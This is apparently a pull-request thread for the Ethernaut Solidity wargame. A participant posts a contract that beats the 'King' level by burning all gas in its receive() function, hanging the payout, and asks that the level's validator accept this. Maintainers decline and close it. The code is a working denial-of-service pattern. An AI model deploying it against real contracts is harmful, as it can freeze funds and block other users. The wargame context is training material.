Change KingFactory.validateInstance so that gas attack can be recognized

[pconerly]

I had an attack on King that wasn't recognized as a success:

// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.7.0;

contract KingMeForever {

    address payable public kingAddress = payable(0x86699f95700424A20eDf530041f3869480604aC9);
    bool public lastSuccess = true;
    bytes public data;

    function setKing(address payable kaddr) public {
      kingAddress = payable(kaddr);
    }
    
    constructor() public {
    }
    
    receive () external payable {
        while (gasleft() > 0) {
          uint derp = 8354893489501 * 12312312312;
        }
    }
    
    function bid() public payable {
        (lastSuccess, data) = kingAddress.call{ value: msg.value, gas: 10_000_000 }("");
    }
}

When I submitted the instance, the King contract just hung! (Gas attack FTW!)

This PR would fix KingFactory.sol to properly recognize a gas attack.

[frangio]

Thank you for the suggestion @pconerly. In this case in my opinion I think it's better to stick only to the currently accepted solution.

[xaler5]

I'm closing this as per @frangio comment. I think this should be kept simpler and stick with it. Fell free to reopen if you still think it's worth to discuss about it.